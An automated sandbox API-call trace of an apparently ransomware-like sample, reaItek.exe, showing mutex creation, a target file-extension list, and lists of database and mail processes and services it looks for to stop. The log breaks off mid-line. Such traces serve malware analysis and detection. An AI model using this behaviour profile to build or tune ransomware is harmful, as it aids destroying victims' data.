# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 15 2019 18:28:42 # Log Creation Date: 03.06.2019 19:04:28.977 Process: id = "1" image_name = "reaitek.exe" filename = "c:\\users\\fd1hvy\\desktop\\reaitek.exe" page_root = "0x129d7000" os_pid = "0x408" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\reaItek.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x48c [0080.574] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0080.574] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcAddress") returned 0x75ea51b0 [0080.574] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleHandleW") returned 0x75ea50d0 [0080.574] GetProcAddress (hModule=0x75e90000, lpProcName="FindNextFileW") returned 0x75efee40 [0080.574] GetProcAddress (hModule=0x75e90000, lpProcName="FindClose") returned 0x75efed70 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="MoveFileW") returned 0x75ede500 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileSizeEx") returned 0x75efef40 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetModuleFileNameW") returned 0x75ea5090 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetFileAttributesW") returned 0x75efef10 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="ExitProcess") returned 0x75ea3cb0 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetCommandLineW") returned 0x75ea4cc0 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameW") returned 0x75ed32c0 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetComputerNameA") returned 0x75ed3780 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="CreateMutexW") returned 0x75efeb70 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenW") returned 0x75ea6c70 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="lstrlenA") returned 0x75ea6c50 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcess") returned 0x75efea10 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForSingleObject") returned 0x75efeca0 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetLogicalDrives") returned 0x75ea0d20 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="GetTickCount") returned 0x75efdd50 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteFileW") returned 0x75efed40 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="WideCharToMultiByte") returned 0x75ea6b10 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75efebb0 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="Sleep") returned 0x75ea6760 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="LeaveCriticalSection") returned 0x77bfb250 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="ReadFile") returned 0x75eff090 [0080.575] GetProcAddress (hModule=0x75e90000, lpProcName="CreateFileW") returned 0x75efed10 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="OpenMutexW") returned 0x75efebf0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="EnterCriticalSection") returned 0x77bfb2d0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="WaitForMultipleObjects") returned 0x75efec80 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiW") returned 0x75ea6bf0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="lstrcmpiA") returned 0x75ea6bd0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="DeleteCriticalSection") returned 0x77bdfb90 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseMutex") returned 0x75efec20 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="CloseHandle") returned 0x75efeab0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="GetVersion") returned 0x75ea56c0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="CreateThread") returned 0x75ea46b0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ea4a40 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceCounter") returned 0x75ea5da0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="QueryPerformanceFrequency") returned 0x75ea5dc0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentProcessId") returned 0x75efea20 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="SetFileAttributesW") returned 0x75eff100 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="GetVolumeInformationW") returned 0x75eff020 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="WriteFile") returned 0x75eff180 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="SetFilePointerEx") returned 0x75eff130 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="SetEndOfFile") returned 0x75eff0e0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="FindFirstFileW") returned 0x75efedf0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="GetProcessHeap") returned 0x75ea51f0 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="HeapReAlloc") returned 0x77bef630 [0080.576] GetProcAddress (hModule=0x75e90000, lpProcName="HeapAlloc") returned 0x77bf2dc0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="HeapFree") returned 0x75ea57f0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="CreatePipe") returned 0x75ea4590 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="SetHandleInformation") returned 0x75efeae0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="CreateProcessW") returned 0x75ea4610 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringW") returned 0x75ea4430 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="CompareStringA") returned 0x75ea4410 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="OpenProcess") returned 0x75ea5cc0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="TerminateProcess") returned 0x75ea67e0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="GetSystemTime") returned 0x75ea54e0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="SystemTimeToFileTime") returned 0x75ea67a0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="GetLastError") returned 0x75ea5010 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0080.577] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0080.577] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0083.295] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExW") returned 0x761ce580 [0083.295] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExW") returned 0x761ce5a0 [0083.295] GetProcAddress (hModule=0x761b0000, lpProcName="RegSetValueExW") returned 0x761cf530 [0083.295] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0083.295] GetProcAddress (hModule=0x761b0000, lpProcName="OpenProcessToken") returned 0x761cefb0 [0083.295] GetProcAddress (hModule=0x761b0000, lpProcName="GetTokenInformation") returned 0x761cee90 [0083.295] GetProcAddress (hModule=0x761b0000, lpProcName="OpenSCManagerW") returned 0x761d0540 [0083.296] GetProcAddress (hModule=0x761b0000, lpProcName="OpenServiceW") returned 0x761cfa20 [0083.296] GetProcAddress (hModule=0x761b0000, lpProcName="CloseServiceHandle") returned 0x761cfc00 [0083.296] GetProcAddress (hModule=0x761b0000, lpProcName="ControlService") returned 0x761e26d0 [0083.296] GetProcAddress (hModule=0x761b0000, lpProcName="QueryServiceStatus") returned 0x761d2380 [0083.296] GetProcAddress (hModule=0x761b0000, lpProcName="EnumDependentServicesW") returned 0x761e2f70 [0083.296] GetProcAddress (hModule=0x761b0000, lpProcName="EnumServicesStatusExW") returned 0x761cfc80 [0083.296] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0086.083] GetProcAddress (hModule=0x74b70000, lpProcName="SystemParametersInfoW") returned 0x74b9f210 [0086.083] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76480000 [0092.350] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0092.350] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0092.350] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0092.350] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x744d0000 [0092.593] GetProcAddress (hModule=0x744d0000, lpProcName="WNetCloseEnum") returned 0x744d2640 [0092.593] GetProcAddress (hModule=0x744d0000, lpProcName="WNetOpenEnumW") returned 0x744d2790 [0092.593] GetProcAddress (hModule=0x744d0000, lpProcName="WNetEnumResourceW") returned 0x744d2410 [0092.593] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x746a0000 [0093.089] GetProcAddress (hModule=0x746a0000, lpProcName="WSAStartup") returned 0x746a5b40 [0093.089] GetProcAddress (hModule=0x746a0000, lpProcName="socket") returned 0x746b4510 [0093.089] GetProcAddress (hModule=0x746a0000, lpProcName="send") returned 0x746a5030 [0093.089] GetProcAddress (hModule=0x746a0000, lpProcName="recv") returned 0x746b0c50 [0093.089] GetProcAddress (hModule=0x746a0000, lpProcName="connect") returned 0x746a5410 [0093.089] GetProcAddress (hModule=0x746a0000, lpProcName="closesocket") returned 0x746b0910 [0093.090] GetProcAddress (hModule=0x746a0000, lpProcName="gethostbyname") returned 0x746d6cb0 [0093.090] GetProcAddress (hModule=0x746a0000, lpProcName="inet_addr") returned 0x746b9160 [0093.090] GetProcAddress (hModule=0x746a0000, lpProcName="ntohl") returned 0x746a49d0 [0093.090] GetProcAddress (hModule=0x746a0000, lpProcName="htonl") returned 0x746a49d0 [0093.090] GetProcAddress (hModule=0x746a0000, lpProcName="htons") returned 0x746b8ff0 [0093.090] GetProcessHeap () returned 0x5c0000 [0093.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5cafe0 [0093.090] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=16068205610) returned 1 [0093.090] GetTickCount () returned 0x27390 [0093.090] GetCurrentProcessId () returned 0x408 [0093.091] GetTickCount () returned 0x27390 [0093.091] GetTickCount () returned 0x27390 [0093.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5caef0 [0093.091] GetVersion () returned 0x23f00206 [0093.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7) returned 0x5d6d10 [0093.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d77a0 [0093.091] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d77a0, Size=0x20) returned 0x5caf18 [0093.091] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5caf18, Size=0x40) returned 0x5d9fa0 [0093.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5de760 [0093.092] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AZ4I6DA") returned 0x0 [0093.092] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_AZ4I6DA") returned 0x1ec [0093.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6d10 | out: hHeap=0x5c0000) returned 1 [0093.092] lstrlenW (lpString="Global\\syncronize_") returned 18 [0093.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d9fa0 | out: hHeap=0x5c0000) returned 1 [0093.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7) returned 0x5d6d30 [0093.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d76e0 [0093.092] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d76e0, Size=0x20) returned 0x5caf18 [0093.092] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5caf18, Size=0x40) returned 0x5da1e0 [0093.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5ee768 [0093.092] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_AZ4I6DU") returned 0x0 [0093.092] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_AZ4I6DU") returned 0x1f0 [0093.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6d30 | out: hHeap=0x5c0000) returned 1 [0093.092] lstrlenW (lpString="Global\\syncronize_") returned 18 [0093.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5da1e0 | out: hHeap=0x5c0000) returned 1 [0093.092] GetVersion () returned 0x23f00206 [0093.092] GetCurrentProcess () returned 0xffffffff [0093.092] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0093.092] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0093.092] CloseHandle (hObject=0x1f4) returned 1 [0093.092] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0093.093] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d56d0 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d74d0 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d74d0, Size=0x20) returned 0x5caf18 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5caf18, Size=0x40) returned 0x5da078 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da078, Size=0x80) returned 0x5d23b8 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d23b8, Size=0x100) returned 0x5d7358 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x34) returned 0x5d94d8 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6e50 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6dd0 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d6e70 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d7710 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6d80 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d7680 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6d80, Size=0x8) returned 0x5d6de0 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d7518 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6de0, Size=0x10) returned 0x5d76e0 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d7728 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d7740 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d76e0, Size=0x20) returned 0x5caf18 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d76e0 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d74e8 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6e50, Size=0x8) returned 0x5d6d10 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6dd0, Size=0x8) returned 0x5d6de0 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d6d20 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d77a0 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6d30 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d74d0 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6d30, Size=0x8) returned 0x5d6d80 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d77e8 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6d80, Size=0x10) returned 0x5d77b8 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d7878 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d6d30 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d77b8, Size=0x20) returned 0x5fec00 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6d10, Size=0x10) returned 0x5d7800 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6de0, Size=0x10) returned 0x5d7848 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d6d10 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d77b8 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6e50 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d77d0 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6e50, Size=0x8) returned 0x5d6d80 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d6d90 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d7818 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6e50 [0093.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d7830 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6e50, Size=0x8) returned 0x5d6da0 [0093.093] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7800, Size=0x20) returned 0x5fe958 [0093.094] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7848, Size=0x20) returned 0x5feac0 [0093.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d6e50 [0093.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d7800 [0093.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d6dd0 [0093.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5d7848 [0093.094] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d6dd0, Size=0x8) returned 0x5d6de0 [0093.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d5770 [0093.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d56b0 [0093.094] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0093.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7358 | out: hHeap=0x5c0000) returned 1 [0093.094] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0093.097] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d7860 [0093.097] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7860, Size=0x20) returned 0x5fea48 [0093.097] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fea48, Size=0x40) returned 0x5da5d0 [0093.097] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da5d0, Size=0x80) returned 0x5d7d68 [0093.097] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7d68, Size=0x100) returned 0x5d7358 [0093.097] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5d7860 [0093.097] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7860, Size=0x20) returned 0x5fe840 [0093.097] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe840, Size=0x40) returned 0x5da738 [0093.097] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da738, Size=0x80) returned 0x604b78 [0093.098] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604b78, Size=0x100) returned 0x605030 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5d7860 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x6031f0 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6052e8 [0093.098] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6031f0, Size=0x8) returned 0x603180 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d5830 [0093.098] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603180, Size=0x10) returned 0x605228 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d56f0 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5fe7f0 [0093.098] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605228, Size=0x20) returned 0x5fe930 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x5fe7c8 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16) returned 0x5d5610 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1a) returned 0x5fe980 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x605300 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603230 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5da1e0 [0093.098] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603230, Size=0x8) returned 0x6031c0 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x3c) returned 0x5d9fa0 [0093.098] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6031c0, Size=0x10) returned 0x6051f8 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d5870 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x18) returned 0x5d55f0 [0093.098] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6051f8, Size=0x20) returned 0x5fe890 [0093.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x5d6018 [0093.098] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0093.098] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7358 | out: hHeap=0x5c0000) returned 1 [0093.098] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0093.098] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605030 | out: hHeap=0x5c0000) returned 1 [0093.098] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fe840 [0093.104] EnumServicesStatusExW (in: hSCManager=0x5fe840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0093.104] GetLastError () returned 0xea [0093.104] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fd0) returned 0x607728 [0093.104] EnumServicesStatusExW (in: hSCManager=0x5fe840, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x607728, cbBufSize=0x1fd0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x607728, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0093.105] CloseServiceHandle (hSCObject=0x5fe840) returned 1 [0093.106] lstrlenW (lpString="Appinfo") returned 7 [0093.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0093.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0093.108] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0093.108] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0093.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0093.108] lstrlenW (lpString="AppXSvc") returned 7 [0093.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0093.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0093.109] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0093.109] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0093.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0093.109] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0093.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0093.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0093.109] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0093.109] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0093.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0093.109] lstrlenW (lpString="Audiosrv") returned 8 [0093.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0093.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0093.109] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0093.109] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0093.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0093.109] lstrlenW (lpString="BFE") returned 3 [0093.109] lstrcmpiW 